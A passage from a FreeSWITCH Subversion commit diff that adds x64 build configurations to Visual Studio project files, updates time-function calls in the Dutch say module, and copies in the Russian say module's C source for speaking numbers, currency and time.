 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -84,6 +87,76 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=""
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -144,6 +217,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  *
  * mod_say_nl.c -- Say for English
@@ -292,7 +292,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -350,7 +350,7 @@
 	if ((t = atoi(tosay)) > 0) {
 		target = switch_time_make(t, 0);
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, target);
 

Copied: freeswitch/branches/seven/src/mod/say/mod_say_ru (from rev 14471, freeswitch/trunk/src/mod/say/mod_say_ru)

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_ru


Name: svn:ignore
   + Makefile
*.user
Win32
x64

Deleted: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,283 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_say_ru"
+	ProjectGUID="{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}"
+	RootNamespace="mod_say_ru"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_say_ru.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.c

Copied: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.c (from rev 14471, freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,675 @@
+/*
+ * Copyright (c) 2007, Anthony Minessale II
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Michael B. Murdock <mike@mmurdock.org>
+ * Boris Buklov (BBV) <buklov@mail.ru>
+ *
+ * mod_say_ru.c -- Say for Russian
+ *
+ */
+
+#include <switch.h>
+#include "mod_say_ru.h"
+
+/* инициализируем массив вариантов произношения цифр описано в define mod_say_ru.h */
+struct say_t matrix[7][8]= {{m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
+				{m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
+				{m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
+				{m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
+				{m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
+				{m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
+				{m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}};
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_say_ru_load);
+SWITCH_MODULE_DEFINITION(mod_say_ru, mod_say_ru_load, NULL, NULL);
+
+#define say_file(...) {\
+		char tmp[80];\
+		switch_status_t tstatus;\
+		switch_snprintf(tmp, sizeof(tmp), __VA_ARGS__);\
+		if ((tstatus = switch_ivr_play_file(session, NULL, tmp, args)) != SWITCH_STATUS_SUCCESS){ \
+			return tstatus;\
+		}\
+		if (!switch_channel_ready(switch_core_session_get_channel(session))) {\
+			return SWITCH_STATUS_FALSE;\
+		}}
+
+static char *strip_commas(char *in, char *out, switch_size_t len)
+{
+	char *p = in, *q = out;
+	char *ret = out;
+	switch_size_t x = 0;
+
+	for (; p && *p; p++) {
+		if ((*p > 47 && *p < 58)) {
+			*q++ = *p;
+		} else if (*p != ',') {
+			ret = NULL;
+			break;
+		}
+		if (++x > len) {
+			ret = NULL;
+			break;
+		}
+	}
+	return ret;
+}
+
+static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
+{
+	char *p = in, *q = out;
+	char *ret = out;
+	switch_size_t x = 0;
+	/* valid are 0 - 9, period (.), minus (-), and plus (+) - remove all others */
+	for (; p && *p; p++) {
+		if ((*p > 47 && *p < 58) || *p == '.' || *p == '-' || *p == '+') {
+			*q++ = *p;
+		}
+		if (++x > len) {
+			ret = NULL;
+			break;
+		}
+	}
+	return ret;
+}                       
+                       
+static switch_status_t ru_spell(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
+{
+	char *p;
+
+	for (p = tosay; p && *p; p++) {
+		int a = tolower((int) *p);
+		if (a >= 48 && a <= 57) {
+			say_file("digits/%d.wav", a - 48);
+		} else {
+			if (type == SST_NAME_SPELLED) {
+				say_file("ascii/%d.wav", a);
+			} else if (type == SST_NAME_PHONETIC) {
+				say_file("phonetic-ascii/%d.wav", a);
+			}
+		}
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t play_group(say_type_t say_type, casus_t casus, int a, int b, int c,
+								  unit_t what, switch_core_session_t *session, switch_input_args_t *args)
+{
+	if (a) {
+		if (((b==0)&&(c==0))||(matrix[casus][say_type].all==1)) { //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
+			if (what==million)	{              //префикс		      число          окончание
+				say_file("digits/%s%d00%s.wav", matrix[casus][say_type].million[12], a, matrix[casus][say_type].million[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
+			} else if (what==thousand) {
+				say_file("digits/%s%d00%s.wav", matrix[casus][say_type].thousand[12], a, matrix[casus][say_type].thousand[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
+			} else {
+				say_file("digits/%s%d00%s.wav", matrix[casus][say_type].num[6], a, matrix[casus][say_type].num[7]);
+			}
+		} else { //если дальше есть цифры то тысячи и миллионы не прозносить пока
+			say_file("digits/%d00.wav",a);
+		}
+	}
+
+	if (b) {
+		if (b>1) { //если 20 и больше
+			if ((c==0)||(matrix[casus][say_type].all==1)) { //если с равны 0 то сказать 20, двадцати, двадцатая
+				if (what==million) {              //префикс		      число          окончание
+					say_file("digits/%s%d0%s.wav", matrix[casus][say_type].million[12], b, matrix[casus][say_type].million[13]);
+					say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
+				} else if (what==thousand) {
+					say_file("digits/%s%d0%s.wav", matrix[casus][say_type].thousand[12], b, matrix[casus][say_type].thousand[13]);
+					say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
+				} else {
+					say_file("digits/%s%d0%s.wav", matrix[casus][say_type].num[6], b, matrix[casus][say_type].num[7]);
+				}
+			} else { //если есть дальше цифры
+				say_file("digits/%d0.wav",b);
+			}
+		} else { //от 10 до 19
+			if (what==million) {
+				say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].million[12], b, c, matrix[casus][say_type].million[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
+			} else if (what==thousand) {
+				say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].thousand[12], b, c, matrix[casus][say_type].thousand[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
+			} else { //просто произнести цифры с префиксом и окончанием
+				say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].num[6], b, c, matrix[casus][say_type].num[7]);
+			}
+			c=0;
+		}
+	}
+
+	if (c||what==zero) {
+		if (c<=5) {
+			if (what==million) {
+				if ((strlen(matrix[casus][say_type].million[c*2])) > 0) { // не произносить если не заданно например 1 миллион а просто миллион
+					say_file("digits/%s.wav", matrix[casus][say_type].million[c*2])
+				}
+				say_file("digits/%s.wav", matrix[casus][say_type].million[c*2+1]);
+			} else if (what==thousand) {
+				if ((strlen(matrix[casus][say_type].thousand[c*2])) > 0) { // не произносить если не заданно например одна тысячас  а просто тысяча
+					say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2])
+				}
+				say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2+1]);
+			} else { //просто произнести цифры с префиксом и окончанием
+				say_file("digits/%s.wav", matrix[casus][say_type].num[c]);
+			}
+		} else /* больше 5 */ {
+			if (what==million) {
+				say_file("digits/%s%d%s.wav", matrix[casus][say_type].million[12], c, matrix[casus][say_type].million[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
+			} else if (what==thousand) {
+				say_file("digits/%s%d%s.wav", matrix[casus][say_type].thousand[12], c, matrix[casus][say_type].thousand[13]);
+				say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
+			} else { //просто произнести цифры с префиксом и окончанием
+				say_file("digits/%s%d%s.wav", matrix[casus][say_type].num[6], c, matrix[casus][say_type].num[7]);
+			}
+		}
+	}
+	return SWITCH_STATUS_SUCCESS;
+}                                                                                                                                                                                                                                                                                                    
+
+
+static switch_status_t ru_say_count(switch_core_session_t *session,
+									char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
+{
+	int in;
+	int x = 0;
+	int places[9] = { 0 };
+	char sbuf[13] = "";
+	int in_;
+
+	switch_status_t status;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ru_say_count %s!\n", tosay);
+
+	if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) > 9) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
+	in = atoi(tosay);
+	in_ = in;
+
+	if (in != 0) {
+		for (x = 8; x >= 0; x--) {
+			int num = (int) pow(10, x);
+			if ((places[(uint32_t) x] = in / num)) {
+				in -= places[(uint32_t) x] * num;
+			}
+		}
+
+		//миллионы		
+		if (places[8] || places[7] || places[6])	{
+			if ((in_%1000000>0)&&(matrix[casus][say_type].all != 1))   {// если поле миллионов  есть цифры поизнести как числительое именительного падежа
+				if ((status = play_group(male_c, nominativus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
+					return status;
+				}
+			} else {// иначе произнести в нужном падеже
+				if ((status = play_group(say_type,casus, places[8], places[7], places[6],million, session, args)) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
+					return status;
+				}
+			}
+		}
+		//тысячи		
+		if (places[5]||places[4]||places[3])	{
+			if ((in_%1000>0)&&(matrix[casus][say_type].all != 1))   {// если поле миллионов  есть цифры поизнести как числительое именительного падежа
+				if ((status = play_group(male_c, nominativus, places[5], places[4], places[3],thousand,  session, args)) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+					return status;
+				}
+			} else {// иначе произнести в нужном падеже
+				if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand,session, args)) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+					return status;
+				}
+			}
+		}
+		// сотни
+		if ((status = play_group(say_type, casus, places[2], places[1], places[0], empty, session, args)) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+			return status;
+		}
+	} else { 
+		if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS)  {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d other!\n", places[2], places[1], places[0]);
+			return status;
+		}
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+//дописать
+static switch_status_t ru_say_general_count(switch_core_session_t *session,
+											char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
+{
+	switch_status_t status;
+	casus_t casus; //падеж
+	say_type_t say_type;//тип произношения
+
+	switch (type) {
+		case SST_MESSAGES:
+			say_type=it_c;
+			casus=nominativus;
+			break;
+		default:
+			say_type=male_c;
+			casus=nominativus;
+			break;                                                	    
+	};
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " type=%d   casus=%d\n", say_type,casus);
+	status=ru_say_count(session,tosay,say_type,casus,args);
+	return status;
+}
+
+static switch_status_t ru_say_money(switch_core_session_t *session, char *tosay, switch_say_type_t type,
+									switch_say_method_t method,switch_input_args_t *args)
+{
+	char sbuf[16] = "";
+	char *rubles = NULL;
+	char *kopecks = NULL;
+	int irubles = 0;
+	int iruble = 0;
+	int ikopecks = 0;
+	int ikopeck = 0;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_money %s\n",tosay );
+
+	if (strlen(tosay) > 15 || !(tosay = strip_nonnumerics(tosay, sbuf, sizeof(sbuf)))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
+	rubles = sbuf;
+	if ((kopecks = strchr(sbuf, '.'))) {
+		*kopecks++ = '\0';
+		if (strlen(kopecks) > 2) {
+			kopecks[2] = '\0';
+		}
+	}
+
+	if (sbuf[0] == '+') {
+		rubles++;
+	}
+
+	if (sbuf[0] == '-') {
+		say_file("currency/minus.wav");
+		rubles++;
+	}
+
+	ru_say_count(session,rubles ,male_c,nominativus ,args);
+
+	if (rubles) {
+		irubles = atoi(rubles)%100;
+		iruble = atoi(rubles)%10;
+	}
+
+	if (irubles == 1 || (irubles > 20 && iruble == 1)) {/* рубль */
+		say_file("currency/ruble.wav");
+	} else if ((irubles > 1 && irubles < 5) || (irubles > 20 && iruble > 1 && iruble < 5)) {  /*рубля */
+		say_file("currency/ruble-a.wav");
+	} else { /*рублей */
+		say_file("currency/rubles.wav");
+	}
+
+	/* Say kopecks */
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " %s\n",kopecks );
+	ru_say_count(session, kopecks ,female_c, nominativus, args);
+
+	if (kopecks) {
+		ikopecks = atoi(kopecks) % 100;
+		ikopeck = atoi(kopecks) % 10;
+	}
+
+	if (ikopecks == 1 || (ikopecks > 20 && ikopeck == 1)) {
+		/* копейка */
+		say_file("currency/kopeck.wav");
+	} else if ((ikopecks > 1 && ikopecks < 5) || (ikopecks > 20 && ikopeck > 1 && ikopeck < 5)) {
+		/* копейки */
+		say_file("currency/kopeck-i.wav");
+	} else {
+		/* копеек */
+		say_file("currency/kopecks.wav");
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t ru_say_time(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method,
+								   switch_input_args_t *args)
+{
+	int32_t t;
+	char buf[80];
+	switch_time_t target = 0, target_now = 0;
+	switch_time_exp_t tm, tm_now;
+	uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	const char *tz = switch_channel_get_variable(channel, "timezone");
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " ru_say_time %s  type=%d method=%d\n",tosay, type,method );
+
+	if (type == SST_TIME_MEASUREMENT) {
+		int64_t hours = 0;
+		int64_t minutes = 0;
+		int64_t seconds = 0;
+		int64_t r = 0;
+
+		if (strchr(tosay, ':')) {
+			char *tme = switch_core_session_strdup(session, tosay);
+			char *p;
+
+			if ((p = strrchr(tme, ':'))) {
+				*p++ = '\0';
+				seconds = atoi(p);
+				if ((p = strchr(tme, ':'))) {
+					*p++ = '\0';
+					minutes = atoi(p);
+					if (tme) {
+						hours = atoi(tme);
+					}
+				} else {
+					minutes = atoi(tme);
+				}
+			}
+		} else {
+			if ((seconds = atol(tosay)) <= 0) {
+				seconds = (int64_t) switch_epoch_time_now(NULL);
+			}
+
+			if (seconds >= 60) {
+				minutes = seconds / 60;
+				r = seconds % 60;
+			}
+
+			if (minutes >= 60) {
+				hours = minutes / 60;
+				r = minutes % 60;
+				minutes = r;
+			}
+		}
+
+		switch_snprintf(buf, sizeof(buf), "%u", (unsigned)hours);
+		ru_say_count(session,buf ,male_c,nominativus,args);
+
+		if (((hours%10) == 1) && (hours!=11)) {
+			/* час */
+			say_file("time/hour.wav");
+		} else if (((hours%10>1)&&(hours%10<5)) &&((hours<12)||(hours>14))) {
+			say_file("time/hours-a.wav");  /* часа */
+		} else {
+			say_file("time/hours.wav"); /* часов*/
+		}
+
+		switch_snprintf(buf, sizeof(buf), "%u", (unsigned)minutes); //перевести минуты в *char
+		ru_say_count(session,buf ,female_c,nominativus,args);
+
+		if (((minutes%10) == 1) && (minutes!=11)) {
+			say_file("time/minute.wav"); //минута
+		} else if (((minutes%10>1)&&(minutes%10<5))&&((minutes<12)||(minutes>14))){
+			say_file("time/minutes-i.wav"); // минуты
+		} else {
+			say_file("time/minutes.wav"); //минут
+		}
+
+		if (seconds!=0) {
+			switch_snprintf(buf, sizeof(buf), "%u", (unsigned)seconds);
+			ru_say_count(session,buf ,female_c,nominativus,args);
+			if (((seconds%10) == 1) && (seconds!=11)) {
+				say_file("time/second.wav"); // секунда
